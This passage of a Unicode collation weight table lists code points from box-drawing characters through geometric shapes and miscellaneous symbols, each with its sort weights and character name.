HORIZONTAL HEAVY -2538 ; [*0850.0020.0002] # BOX DRAWINGS UP HEAVY AND HORIZONTAL LIGHT -2539 ; [*0851.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT UP HEAVY -253A ; [*0852.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT UP HEAVY -253B ; [*0853.0020.0002] # BOX DRAWINGS HEAVY UP AND HORIZONTAL -253C ; [*0854.0020.0002] # BOX DRAWINGS LIGHT VERTICAL AND HORIZONTAL -253D ; [*0855.0020.0002] # BOX DRAWINGS LEFT HEAVY AND RIGHT VERTICAL LIGHT -253E ; [*0856.0020.0002] # BOX DRAWINGS RIGHT HEAVY AND LEFT VERTICAL LIGHT -253F ; [*0857.0020.0002] # BOX DRAWINGS VERTICAL LIGHT AND HORIZONTAL HEAVY -2540 ; [*0858.0020.0002] # BOX DRAWINGS UP HEAVY AND DOWN HORIZONTAL LIGHT -2541 ; [*0859.0020.0002] # BOX DRAWINGS DOWN HEAVY AND UP HORIZONTAL LIGHT -2542 ; [*085A.0020.0002] # BOX DRAWINGS VERTICAL HEAVY AND HORIZONTAL LIGHT -2543 ; [*085B.0020.0002] # BOX DRAWINGS LEFT UP HEAVY AND RIGHT DOWN LIGHT -2544 ; [*085C.0020.0002] # BOX DRAWINGS RIGHT UP HEAVY AND LEFT DOWN LIGHT -2545 ; [*085D.0020.0002] # BOX DRAWINGS LEFT DOWN HEAVY AND RIGHT UP LIGHT -2546 ; [*085E.0020.0002] # BOX DRAWINGS RIGHT DOWN HEAVY AND LEFT UP LIGHT -2547 ; [*085F.0020.0002] # BOX DRAWINGS DOWN LIGHT AND UP HORIZONTAL HEAVY -2548 ; [*0860.0020.0002] # BOX DRAWINGS UP LIGHT AND DOWN HORIZONTAL HEAVY -2549 ; [*0861.0020.0002] # BOX DRAWINGS RIGHT LIGHT AND LEFT VERTICAL HEAVY -254A ; [*0862.0020.0002] # BOX DRAWINGS LEFT LIGHT AND RIGHT VERTICAL HEAVY -254B ; [*0863.0020.0002] # BOX DRAWINGS HEAVY VERTICAL AND HORIZONTAL -254C ; [*0864.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH HORIZONTAL -254D ; [*0865.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH HORIZONTAL -254E ; [*0866.0020.0002] # BOX DRAWINGS LIGHT DOUBLE DASH VERTICAL -254F ; [*0867.0020.0002] # BOX DRAWINGS HEAVY DOUBLE DASH VERTICAL -2550 ; [*0868.0020.0002] # BOX DRAWINGS DOUBLE HORIZONTAL -2551 ; [*0869.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL -2552 ; [*086A.0020.0002] # BOX DRAWINGS DOWN SINGLE AND RIGHT DOUBLE -2553 ; [*086B.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND RIGHT SINGLE -2554 ; [*086C.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND RIGHT -2555 ; [*086D.0020.0002] # BOX DRAWINGS DOWN SINGLE AND LEFT DOUBLE -2556 ; [*086E.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND LEFT SINGLE -2557 ; [*086F.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND LEFT -2558 ; [*0870.0020.0002] # BOX DRAWINGS UP SINGLE AND RIGHT DOUBLE -2559 ; [*0871.0020.0002] # BOX DRAWINGS UP DOUBLE AND RIGHT SINGLE -255A ; [*0872.0020.0002] # BOX DRAWINGS DOUBLE UP AND RIGHT -255B ; [*0873.0020.0002] # BOX DRAWINGS UP SINGLE AND LEFT DOUBLE -255C ; [*0874.0020.0002] # BOX DRAWINGS UP DOUBLE AND LEFT SINGLE -255D ; [*0875.0020.0002] # BOX DRAWINGS DOUBLE UP AND LEFT -255E ; [*0876.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND RIGHT DOUBLE -255F ; [*0877.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND RIGHT SINGLE -2560 ; [*0878.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND RIGHT -2561 ; [*0879.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND LEFT DOUBLE -2562 ; [*087A.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND LEFT SINGLE -2563 ; [*087B.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND LEFT -2564 ; [*087C.0020.0002] # BOX DRAWINGS DOWN SINGLE AND HORIZONTAL DOUBLE -2565 ; [*087D.0020.0002] # BOX DRAWINGS DOWN DOUBLE AND HORIZONTAL SINGLE -2566 ; [*087E.0020.0002] # BOX DRAWINGS DOUBLE DOWN AND HORIZONTAL -2567 ; [*087F.0020.0002] # BOX DRAWINGS UP SINGLE AND HORIZONTAL DOUBLE -2568 ; [*0880.0020.0002] # BOX DRAWINGS UP DOUBLE AND HORIZONTAL SINGLE -2569 ; [*0881.0020.0002] # BOX DRAWINGS DOUBLE UP AND HORIZONTAL -256A ; [*0882.0020.0002] # BOX DRAWINGS VERTICAL SINGLE AND HORIZONTAL DOUBLE -256B ; [*0883.0020.0002] # BOX DRAWINGS VERTICAL DOUBLE AND HORIZONTAL SINGLE -256C ; [*0884.0020.0002] # BOX DRAWINGS DOUBLE VERTICAL AND HORIZONTAL -256D ; [*0885.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND RIGHT -256E ; [*0886.0020.0002] # BOX DRAWINGS LIGHT ARC DOWN AND LEFT -256F ; [*0887.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND LEFT -2570 ; [*0888.0020.0002] # BOX DRAWINGS LIGHT ARC UP AND RIGHT -2571 ; [*0889.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER RIGHT TO LOWER LEFT -2572 ; [*088A.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL UPPER LEFT TO LOWER RIGHT -2573 ; [*088B.0020.0002] # BOX DRAWINGS LIGHT DIAGONAL CROSS -2574 ; [*088C.0020.0002] # BOX DRAWINGS LIGHT LEFT -2575 ; [*088D.0020.0002] # BOX DRAWINGS LIGHT UP -2576 ; [*088E.0020.0002] # BOX DRAWINGS LIGHT RIGHT -2577 ; [*088F.0020.0002] # BOX DRAWINGS LIGHT DOWN -2578 ; [*0890.0020.0002] # BOX DRAWINGS HEAVY LEFT -2579 ; [*0891.0020.0002] # BOX DRAWINGS HEAVY UP -257A ; [*0892.0020.0002] # BOX DRAWINGS HEAVY RIGHT -257B ; [*0893.0020.0002] # BOX DRAWINGS HEAVY DOWN -257C ; [*0894.0020.0002] # BOX DRAWINGS LIGHT LEFT AND HEAVY RIGHT -257D ; [*0895.0020.0002] # BOX DRAWINGS LIGHT UP AND HEAVY DOWN -257E ; [*0896.0020.0002] # BOX DRAWINGS HEAVY LEFT AND LIGHT RIGHT -257F ; [*0897.0020.0002] # BOX DRAWINGS HEAVY UP AND LIGHT DOWN -2580 ; [*0898.0020.0002] # UPPER HALF BLOCK -2581 ; [*0899.0020.0002] # LOWER ONE EIGHTH BLOCK -2582 ; [*089A.0020.0002] # LOWER ONE QUARTER BLOCK -2583 ; [*089B.0020.0002] # LOWER THREE EIGHTHS BLOCK -2584 ; [*089C.0020.0002] # LOWER HALF BLOCK -2585 ; [*089D.0020.0002] # LOWER FIVE EIGHTHS BLOCK -2586 ; [*089E.0020.0002] # LOWER THREE QUARTERS BLOCK -2587 ; [*089F.0020.0002] # LOWER SEVEN EIGHTHS BLOCK -2588 ; [*08A0.0020.0002] # FULL BLOCK -2589 ; [*08A1.0020.0002] # LEFT SEVEN EIGHTHS BLOCK -258A ; [*08A2.0020.0002] # LEFT THREE QUARTERS BLOCK -258B ; [*08A3.0020.0002] # LEFT FIVE EIGHTHS BLOCK -258C ; [*08A4.0020.0002] # LEFT HALF BLOCK -258D ; [*08A5.0020.0002] # LEFT THREE EIGHTHS BLOCK -258E ; [*08A6.0020.0002] # LEFT ONE QUARTER BLOCK -258F ; [*08A7.0020.0002] # LEFT ONE EIGHTH BLOCK -2590 ; [*08A8.0020.0002] # RIGHT HALF BLOCK -2591 ; [*08A9.0020.0002] # LIGHT SHADE -2592 ; [*08AA.0020.0002] # MEDIUM SHADE -2593 ; [*08AB.0020.0002] # DARK SHADE -2594 ; [*08AC.0020.0002] # UPPER ONE EIGHTH BLOCK -2595 ; [*08AD.0020.0002] # RIGHT ONE EIGHTH BLOCK -2596 ; [*08AE.0020.0002] # QUADRANT LOWER LEFT -2597 ; [*08AF.0020.0002] # QUADRANT LOWER RIGHT -2598 ; [*08B0.0020.0002] # QUADRANT UPPER LEFT -2599 ; [*08B1.0020.0002] # QUADRANT UPPER LEFT AND LOWER LEFT AND LOWER RIGHT -259A ; [*08B2.0020.0002] # QUADRANT UPPER LEFT AND LOWER RIGHT -259B ; [*08B3.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER LEFT -259C ; [*08B4.0020.0002] # QUADRANT UPPER LEFT AND UPPER RIGHT AND LOWER RIGHT -259D ; [*08B5.0020.0002] # QUADRANT UPPER RIGHT -259E ; [*08B6.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT -259F ; [*08B7.0020.0002] # QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT -25A0 ; [*08B8.0020.0002] # BLACK SQUARE -25A1 ; [*08B9.0020.0002] # WHITE SQUARE -25A2 ; [*08BA.0020.0002] # WHITE SQUARE WITH ROUNDED CORNERS -25A3 ; [*08BB.0020.0002] # WHITE SQUARE CONTAINING BLACK SMALL SQUARE -25A4 ; [*08BC.0020.0002] # SQUARE WITH HORIZONTAL FILL -25A5 ; [*08BD.0020.0002] # SQUARE WITH VERTICAL FILL -25A6 ; [*08BE.0020.0002] # SQUARE WITH ORTHOGONAL CROSSHATCH FILL -25A7 ; [*08BF.0020.0002] # SQUARE WITH UPPER LEFT TO LOWER RIGHT FILL -25A8 ; [*08C0.0020.0002] # SQUARE WITH UPPER RIGHT TO LOWER LEFT FILL -25A9 ; [*08C1.0020.0002] # SQUARE WITH DIAGONAL CROSSHATCH FILL -25AA ; [*08C2.0020.0002] # BLACK SMALL SQUARE -25AB ; [*08C3.0020.0002] # WHITE SMALL SQUARE -25AC ; [*08C4.0020.0002] # BLACK RECTANGLE -25AD ; [*08C5.0020.0002] # WHITE RECTANGLE -25AE ; [*08C6.0020.0002] # BLACK VERTICAL RECTANGLE -25AF ; [*08C7.0020.0002] # WHITE VERTICAL RECTANGLE -25B0 ; [*08C8.0020.0002] # BLACK PARALLELOGRAM -25B1 ; [*08C9.0020.0002] # WHITE PARALLELOGRAM -25B2 ; [*08CA.0020.0002] # BLACK UP-POINTING TRIANGLE -25B3 ; [*08CB.0020.0002] # WHITE UP-POINTING TRIANGLE -25B4 ; [*08CC.0020.0002] # BLACK UP-POINTING SMALL TRIANGLE -25B5 ; [*08CD.0020.0002] # WHITE UP-POINTING SMALL TRIANGLE -25B6 ; [*08CE.0020.0002] # BLACK RIGHT-POINTING TRIANGLE -25B7 ; [*08CF.0020.0002] # WHITE RIGHT-POINTING TRIANGLE -25B8 ; [*08D0.0020.0002] # BLACK RIGHT-POINTING SMALL TRIANGLE -25B9 ; [*08D1.0020.0002] # WHITE RIGHT-POINTING SMALL TRIANGLE -25BA ; [*08D2.0020.0002] # BLACK RIGHT-POINTING POINTER -25BB ; [*08D3.0020.0002] # WHITE RIGHT-POINTING POINTER -25BC ; [*08D4.0020.0002] # BLACK DOWN-POINTING TRIANGLE -25BD ; [*08D5.0020.0002] # WHITE DOWN-POINTING TRIANGLE -25BE ; [*08D6.0020.0002] # BLACK DOWN-POINTING SMALL TRIANGLE -25BF ; [*08D7.0020.0002] # WHITE DOWN-POINTING SMALL TRIANGLE -25C0 ; [*08D8.0020.0002] # BLACK LEFT-POINTING TRIANGLE -25C1 ; [*08D9.0020.0002] # WHITE LEFT-POINTING TRIANGLE -25C2 ; [*08DA.0020.0002] # BLACK LEFT-POINTING SMALL TRIANGLE -25C3 ; [*08DB.0020.0002] # WHITE LEFT-POINTING SMALL TRIANGLE -25C4 ; [*08DC.0020.0002] # BLACK LEFT-POINTING POINTER -25C5 ; [*08DD.0020.0002] # WHITE LEFT-POINTING POINTER -25C6 ; [*08DE.0020.0002] # BLACK DIAMOND -25C7 ; [*08DF.0020.0002] # WHITE DIAMOND -25C8 ; [*08E0.0020.0002] # WHITE DIAMOND CONTAINING BLACK SMALL DIAMOND -25C9 ; [*08E1.0020.0002] # FISHEYE -25CA ; [*08E2.0020.0002] # LOZENGE -25CB ; [*08E3.0020.0002] # WHITE CIRCLE -25CC ; [*08E4.0020.0002] # DOTTED CIRCLE -25CD ; [*08E5.0020.0002] # CIRCLE WITH VERTICAL FILL -25CE ; [*08E6.0020.0002] # BULLSEYE -25CF ; [*08E7.0020.0002] # BLACK CIRCLE -25D0 ; [*08E8.0020.0002] # CIRCLE WITH LEFT HALF BLACK -25D1 ; [*08E9.0020.0002] # CIRCLE WITH RIGHT HALF BLACK -25D2 ; [*08EA.0020.0002] # CIRCLE WITH LOWER HALF BLACK -25D3 ; [*08EB.0020.0002] # CIRCLE WITH UPPER HALF BLACK -25D4 ; [*08EC.0020.0002] # CIRCLE WITH UPPER RIGHT QUADRANT BLACK -25D5 ; [*08ED.0020.0002] # CIRCLE WITH ALL BUT UPPER LEFT QUADRANT BLACK -25D6 ; [*08EE.0020.0002] # LEFT HALF BLACK CIRCLE -25D7 ; [*08EF.0020.0002] # RIGHT HALF BLACK CIRCLE -25D8 ; [*08F0.0020.0002] # INVERSE BULLET -25D9 ; [*08F1.0020.0002] # INVERSE WHITE CIRCLE -25DA ; [*08F2.0020.0002] # UPPER HALF INVERSE WHITE CIRCLE -25DB ; [*08F3.0020.0002] # LOWER HALF INVERSE WHITE CIRCLE -25DC ; [*08F4.0020.0002] # UPPER LEFT QUADRANT CIRCULAR ARC -25DD ; [*08F5.0020.0002] # UPPER RIGHT QUADRANT CIRCULAR ARC -25DE ; [*08F6.0020.0002] # LOWER RIGHT QUADRANT CIRCULAR ARC -25DF ; [*08F7.0020.0002] # LOWER LEFT QUADRANT CIRCULAR ARC -25E0 ; [*08F8.0020.0002] # UPPER HALF CIRCLE -25E1 ; [*08F9.0020.0002] # LOWER HALF CIRCLE -25E2 ; [*08FA.0020.0002] # BLACK LOWER RIGHT TRIANGLE -25E3 ; [*08FB.0020.0002] # BLACK LOWER LEFT TRIANGLE -25E4 ; [*08FC.0020.0002] # BLACK UPPER LEFT TRIANGLE -25E5 ; [*08FD.0020.0002] # BLACK UPPER RIGHT TRIANGLE -25E6 ; [*08FE.0020.0002] # WHITE BULLET -25E7 ; [*08FF.0020.0002] # SQUARE WITH LEFT HALF BLACK -25E8 ; [*0900.0020.0002] # SQUARE WITH RIGHT HALF BLACK -25E9 ; [*0901.0020.0002] # SQUARE WITH UPPER LEFT DIAGONAL HALF BLACK -25EA ; [*0902.0020.0002] # SQUARE WITH LOWER RIGHT DIAGONAL HALF BLACK -25EB ; [*0903.0020.0002] # WHITE SQUARE WITH VERTICAL BISECTING LINE -25EC ; [*0904.0020.0002] # WHITE UP-POINTING TRIANGLE WITH DOT -25ED ; [*0905.0020.0002] # UP-POINTING TRIANGLE WITH LEFT HALF BLACK -25EE ; [*0906.0020.0002] # UP-POINTING TRIANGLE WITH RIGHT HALF BLACK -25EF ; [*0907.0020.0002] # LARGE CIRCLE -25F0 ; [*0908.0020.0002] # WHITE SQUARE WITH UPPER LEFT QUADRANT -25F1 ; [*0909.0020.0002] # WHITE SQUARE WITH LOWER LEFT QUADRANT -25F2 ; [*090A.0020.0002] # WHITE SQUARE WITH LOWER RIGHT QUADRANT -25F3 ; [*090B.0020.0002] # WHITE SQUARE WITH UPPER RIGHT QUADRANT -25F4 ; [*090C.0020.0002] # WHITE CIRCLE WITH UPPER LEFT QUADRANT -25F5 ; [*090D.0020.0002] # WHITE CIRCLE WITH LOWER LEFT QUADRANT -25F6 ; [*090E.0020.0002] # WHITE CIRCLE WITH LOWER RIGHT QUADRANT -25F7 ; [*090F.0020.0002] # WHITE CIRCLE WITH UPPER RIGHT QUADRANT -25F8 ; [*0910.0020.0002] # UPPER LEFT TRIANGLE -25F9 ; [*0911.0020.0002] # UPPER RIGHT TRIANGLE -25FA ; [*0912.0020.0002] # LOWER LEFT TRIANGLE -25FB ; [*0913.0020.0002] # WHITE MEDIUM SQUARE -25FC ; [*0914.0020.0002] # BLACK MEDIUM SQUARE -25FD ; [*0915.0020.0002] # WHITE MEDIUM SMALL SQUARE -25FE ; [*0916.0020.0002] # BLACK MEDIUM SMALL SQUARE -25FF ; [*0917.0020.0002] # LOWER RIGHT TRIANGLE -2600 ; [*0918.0020.0002] # BLACK SUN WITH RAYS -2601 ; [*0919.0020.0002] # CLOUD -2602 ; [*091A.0020.0002] # UMBRELLA -2603 ; [*091B.0020.0002] # SNOWMAN -2604 ; [*091C.0020.0002] # COMET -2605 ; [*091D.0020.0002] # BLACK STAR -2606 ; [*091E.0020.0002] # WHITE STAR -2607 ; [*091F.0020.0002] # LIGHTNING -2608 ; [*0920.0020.0002] # THUNDERSTORM -2609 ; [*0921.0020.0002] # SUN -260A ; [*0922.0020.0002] # ASCENDING NODE -260B ; [*0923.0020.0002] # DESCENDING NODE -260C ; [*0924.0020.0002] # CONJUNCTION -260D ; [*0925.0020.0002] # OPPOSITION -260E ; [*0926.0020.0002] # BLACK TELEPHONE -260F ; [*0927.0020.0002] # WHITE TELEPHONE -2610 ; [*0928.0020.0002] # BALLOT BOX -2611 ; [*0929.0020.0002] # BALLOT BOX WITH CHECK -2612 ; [*092A.0020.0002] # BALLOT BOX WITH X -2613 ; [*092B.0020.0002] # SALTIRE -2614 ; [*092C.0020.0002] # UMBRELLA WITH RAIN DROPS -2615 ; [*092D.0020.0002] # HOT BEVERAGE -2616 ; [*092E.0020.0002] # WHITE SHOGI PIECE -2617 ; [*092F.0020.0002] # BLACK SHOGI PIECE -2618 ; [*0930.0020.0002] # SHAMROCK -2619 ; [*0931.0020.0002] # REVERSED ROTATED FLORAL HEART BULLET -261A ; [*0932.0020.0002] # BLACK LEFT POINTING INDEX -261B ; [*0933.0020.0002] # BLACK RIGHT POINTING INDEX -261C ; [*0934.0020.0002] # WHITE LEFT POINTING INDEX -261D ; [*0935.0020.0002] # WHITE UP POINTING INDEX -261E ; [*0936.0020.0002] # WHITE RIGHT POINTING INDEX -261F ; [*0937.0020.0002] # WHITE DOWN POINTING INDEX -2620 ; [*0938.0020.0002] # SKULL AND CROSSBONES -2621 ; [*0939.0020.0002] # CAUTION SIGN -2622 ; [*093A.0020.0002] # RADIOACTIVE SIGN -2623 ; [*093B.0020.0002] # BIOHAZARD SIGN -2624 ; [*093C.0020.0002] # CADUCEUS -2625 ; [*093D.0020.0002] # ANKH -2626 ; [*093E.0020.0002] # ORTHODOX CROSS -2627 ; [*093F.0020.0002] # CHI RHO -2628 ; [*0940.0020.0002] # CROSS OF LORRAINE -2629 ; [*0941.0020.0002] # CROSS OF JERUSALEM -262A ; [*0942.0020.0002] # STAR AND CRESCENT -262B ; [*0943.0020.0002] # FARSI SYMBOL -262C ; [*0944.0020.0002] # ADI SHAKTI -262D ; [*0945.0020.0002] # HAMMER AND SICKLE -262E ; [*0946.0020.0002] # PEACE SYMBOL -262F ; [*0947.0020.0002] # YIN YANG -2630 ; [*0EA2.0020.0002] # TRIGRAM FOR HEAVEN -2631 ; [*0EA3.0020.0002] # TRIGRAM FOR LAKE -2632 ; [*0EA4.0020.0002] # TRIGRAM FOR FIRE -2633 ; [*0EA5.0020.0002] # TRIGRAM FOR THUNDER -2634 ; [*0EA6.0020.0002] # TRIGRAM FOR WIND -2635 ; [*0EA7.0020.0002] # TRIGRAM FOR WATER -2636 ; [*0EA8.0020.0002] # TRIGRAM FOR MOUNTAIN -2637 ; [*0EA9.0020.0002] # TRIGRAM FOR EARTH -2638 ; [*0948.0020.0002] # WHEEL OF DHARMA -2639 ; [*0949.0020.0002] # WHITE FROWNING FACE -263A ; [*094A.0020.0002] # WHITE SMILING FACE -263B ; [*094B.0020.0002] # BLACK SMILING FACE -263C ; [*094C.0020.0002] # WHITE SUN WITH RAYS -263D ; [*094D.0020.0002] # FIRST QUARTER MOON -263E ; [*094E.0020.0002] # LAST QUARTER MOON -263F ; [*094F.0020.0002] # MERCURY -2640 ; [*0950.0020.0002] # FEMALE SIGN -2641 ; [*0951.0020.0002] # EARTH -2642 ; [*0952.0020.0002] # MALE SIGN -2643 ; [*0953.0020.0002] # JUPITER -2644 ; [*0954.0020.0002] # SATURN -2645 ; [*0955.0020.0002] # URANUS -2646 ; [*0956.0020.0002] # NEPTUNE -2647 ; [*0957.0020.0002] # PLUTO -2648 ; [*0958.0020.0002] # ARIES -2649 ; [*0959.0020.0002] # TAURUS -264A ; [*095A.0020.0002] # GEMINI -264B ; [*095B.0020.0002] # CANCER -264C ; [*095C.0020.0002] # LEO -264D ; [*095D.0020.0002] # VIRGO -264E ; [*095E.0020.0002] # LIBRA -264F ; [*095F.0020.0002] # SCORPIUS -2650 ; [*0960.0020.0002] # SAGITTARIUS -2651 ; [*0961.0020.0002] # CAPRICORN -2652 ; [*0962.0020.0002] # AQUARIUS -2653 ; [*0963.0020.0002] # PISCES -2654 ; [*0964.0020.0002] # WHITE CHESS KING -2655 ; [*0965.0020.0002] # WHITE CHESS QUEEN -2656 ; [*0966.0020.0002] # WHITE CHESS ROOK -2657 ; [*0967.0020.0002] # WHITE CHESS BISHOP -2658 ; [*0968.0020.0002] # WHITE CHESS KNIGHT -2659 ; [*0969.0020.0002] # WHITE CHESS PAWN -265A ; [*096A.0020.0002] # BLACK CHESS KING -265B ; [*096B.0020.0002] # BLACK CHESS QUEEN -265C ; [*096C.0020.0002] # BLACK CHESS ROOK -265D ; [*096D.0020.0002] # BLACK CHESS BISHOP -265E ; [*096E.0020.0002] # BLACK CHESS KNIGHT -265F ; [*096F.0020.0002] # BLACK CHESS PAWN -2660 ; [*0970.0020.0002] # BLACK SPADE SUIT -2661 ; [*0971.0020.0002] # WHITE HEART SUIT -2662 ; [*0972.0020.0002] # WHITE DIAMOND SUIT -2663 ; [*0973.0020.0002] # BLACK CLUB SUIT -2664 ; [*0974.0020.0002] # WHITE SPADE SUIT -2665 ; [*0975.0020.0002] # BLACK HEART SUIT -2666 ; [*0976.0020.0002] # BLACK DIAMOND SUIT -2667 ; [*0977.0020.0002] # WHITE CLUB SUIT -2668 ; [*0978.0020.0002] # HOT SPRINGS -2669 ; [*0979.0020.0002] # QUARTER NOTE -266A ; [*097A.0020.0002] # EIGHTH NOTE -266B ; [*097B.0020.0002] # BEAMED EIGHTH NOTES -266C ; [*097C.0020.0002] # BEAMED SIXTEENTH NOTES -266D ; [*10F3.0020.0002] # MUSIC FLAT SIGN -266E ; [*10F4.0020.0002] # MUSIC NATURAL SIGN -266F ; [*10F5.0020.0002] # MUSIC SHARP SIGN -2670 ; [*097D.0020.0002] # WEST SYRIAC CROSS -2671 ; [*097E.0020.0002] # EAST SYRIAC CROSS -2672 ; [*097F.0020.0002] # UNIVERSAL RECYCLING SYMBOL -2673 ; [*0980.0020.0002] # RECYCLING SYMBOL FOR TYPE-1 PLASTICS -2674 ; [*0981.0020.0002] # RECYCLING SYMBOL FOR TYPE-2 PLASTICS -2675 ; [*0982.0020.0002] # RECYCLING SYMBOL FOR TYPE-3 PLASTICS -2676 ; [*0983.0020.0002] # RECYCLING SYMBOL FOR TYPE-4 PLASTICS -2677 ; [*0984.0020.0002] # RECYCLING SYMBOL FOR TYPE-5 PLASTICS -2678 ; [*0985.0020.0002] # RECYCLING SYMBOL FOR TYPE-6 PLASTICS -2679 ; [*0986.0020.0002] # RECYCLING SYMBOL FOR TYPE-7 PLASTICS -267A ; [*0987.0020.0002] # RECYCLING SYMBOL FOR GENERIC MATERIALS -267B ; [*0988.0020.0002] # BLACK UNIVERSAL RECYCLING SYMBOL -267C ; [*0989.0020.0002] # RECYCLED PAPER SYMBOL -267D ; [*098A.0020.0002] # PARTIALLY-RECYCLED PAPER SYMBOL -267E ; [*098B.0020.0002] # PERMANENT PAPER SIGN -267F ; [*098C.0020.0002] # WHEELCHAIR SYMBOL -2680 ; [*098D.0020.0002] # DIE FACE-1 -2681 ; [*098E.0020.0002] # DIE FACE-2 -2682 ; [*098F.0020.0002] # DIE FACE-3 -2683 ; [*0990.0020.0002] # DIE FACE-4 -2684 ; [*0991.0020.0002] # DIE FACE-5 -2685 ; [*0992.0020.0002] # DIE FACE-6 -2686 ; [*0993.0020.0002] # WHITE CIRCLE WITH DOT RIGHT -2687 ; [*0994.0020.0002] # WHITE CIRCLE WITH TWO DOTS -2688 ; [*0995.0020.0002] # BLACK CIRCLE WITH WHITE DOT RIGHT -2689 ; [*0996.0020.0002] # BLACK CIRCLE WITH TWO WHITE DOTS -268A ; [*0E9C.0020.0002] # MONOGRAM FOR YANG -268B ; [*0E9D.0020.0002] # MONOGRAM FOR YIN -268C ; [*0E9E.0020.0002] # DIGRAM FOR GREATER YANG -268D ; [*0E9F.0020.0002] # DIGRAM FOR LESSER YIN -268E ; [*0EA0.0020.0002] # DIGRAM FOR LESSER YANG -268F ; [*0EA1.0020.0002] # DIGRAM FOR GREATER YIN -2690 ; [*0997.0020.0002] # WHITE FLAG -2691 ; [*0998.0020.0002] # BLACK FLAG -2692 ; [*0999.0020.0002] # HAMMER AND PICK -2693 ; [*099A.0020.0002] # ANCHOR -2694 ; [*099B.0020.0002] # CROSSED SWORDS -2695 ; [*099C.0020.0002] # STAFF OF AESCULAPIUS -2696 ; [*099D.0020.0002] # SCALES -2697 ; [*099E.0020.0002] # ALEMBIC -2698 ; [*099F.0020.0002] # FLOWER -2699 ; [*09A0.0020.0002] # GEAR -269A ; [*09A1.0020.0002] # STAFF OF HERMES -269B ; [*09A2.0020.0002] # ATOM SYMBOL -269C ; [*09A3.0020.0002] # FLEUR-DE-LIS -269D ; [*09A4.0020.0002] # OUTLINED WHITE STAR -269E ; [*09A5.0020.0002] # THREE LINES CONVERGING RIGHT -269F ; [*09A6.0020.0002] # THREE LINES CONVERGING LEFT -26A0 ; [*09A7.0020.0002] # WARNING SIGN -26A1 ; [*09A8.0020.0002] # HIGH VOLTAGE SIGN -26A2 ; [*09A9.0020.0002] # DOUBLED FEMALE SIGN -26A3 ; [*09AA.0020.0002] # DOUBLED MALE SIGN -26A4 ; [*09AB.0020.0002] # INTERLOCKED FEMALE AND MALE SIGN -26A5 ; [*09AC.0020.0002] # MALE AND FEMALE SIGN -26A6 ; [*09AD.0020.0002] # MALE WITH STROKE SIGN -26A7 ; [*09AE.0020.0002] # MALE WITH STROKE AND MALE AND FEMALE SIGN -26A8 ; [*09AF.0020.0002] # VERTICAL MALE WITH STROKE SIGN -26A9 ; [*09B0.0020.0002] # HORIZONTAL MALE WITH STROKE SIGN -26AA ; [*09B1.0020.0002] # MEDIUM WHITE CIRCLE -26AB ; [*09B2.0020.0002] # MEDIUM BLACK CIRCLE -26AC ; [*09B3.0020.0002] # MEDIUM SMALL WHITE CIRCLE -26AD ; [*09B4.0020.0002] # MARRIAGE SYMBOL -26AE ; [*09B5.0020.0002] # DIVORCE SYMBOL -26AF ; [*09B6.0020.0002] # UNMARRIED PARTNERSHIP SYMBOL -26B0 ; [*09B7.0020.0002] # COFFIN -26B1 ; [*09B8.0020.0002] # FUNERAL URN -26B2 ; [*09B9.0020.0002] # NEUTER -26B3 ; [*09BA.0020.0002] # CERES -26B4 ; [*09BB.0020.0002] # PALLAS -26B5 ; [*09BC.0020.0002] # JUNO -26B6 ; [*09BD.0020.0002] # VESTA -26B7 ; [*09BE.0020.0002] # CHIRON -26B8 ; [*09BF.0020.0002] # BLACK MOON LILITH -26B9 ; [*09C0.0020.0002] # SEXTILE -26BA ; [*09C1.0020.0002] # SEMISEXTILE -26BB ; [*09C2.0020.0002] # QUINCUNX -26BC ; [*09C3.0020.0002] # SESQUIQUADRATE -26BD ; [*09C4.0020.0002] # SOCCER BALL -26BE ; [*09C5.0020.0002] # BASEBALL -26BF ; [*09C6.0020.0002] # SQUARED KEY -26C0 ; [*09C7.0020.0002] # WHITE DRAUGHTS MAN -26C1 ; [*09C8.0020.0002] # WHITE DRAUGHTS KING -26C2 ; [*09C9.0020.0002] # BLACK DRAUGHTS MAN -26C3 ; [*09CA.0020.0002] # BLACK DRAUGHTS KING -26C4 ; [*09CB.0020.0002] # SNOWMAN WITHOUT SNOW -26C5 ; [*09CC.0020.0002] # SUN BEHIND CLOUD -26C6 ; [*09CD.0020.0002] # RAIN -26C7 ; [*09CE.0020.0002] # BLACK SNOWMAN -26C8 ; [*09CF.0020.0002] # THUNDER CLOUD AND RAIN -26C9 ; [*09D0.0020.0002] # TURNED WHITE SHOGI PIECE -26CA ; [*09D1.0020.0002] # TURNED BLACK SHOGI PIECE -26CB ; [*09D2.0020.0002] # WHITE DIAMOND IN SQUARE -26CC ; [*09D3.0020.0002] # CROSSING LANES -26CD ; [*09D4.0020.0002] # DISABLED CAR -26CE ; [*09D5.0020.0002] # OPHIUCHUS -26CF ; [*09D6.0020.0002] # PICK -26D0 ; [*09D7.0020.0002] # CAR SLIDING -26D1 ; [*09D8.0020.0002] # HELMET WITH WHITE CROSS -26D2 ; [*09D9.0020.0002] # CIRCLED CROSSING LANES -26D3 ; [*09DA.0020.0002] # CHAINS -26D4 ; [*09DB.0020.0002] # NO ENTRY -26D5 ; [*09DC.0020.0002] # ALTERNATE ONE-WAY LEFT WAY TRAFFIC -26D6 ; [*09DD.0020.0002] # BLACK TWO-WAY LEFT WAY TRAFFIC -26D7 ; [*09DE.0020.0002] # WHITE TWO-WAY LEFT WAY TRAFFIC -26D8 ; [*09DF.0020.0002] # BLACK LEFT 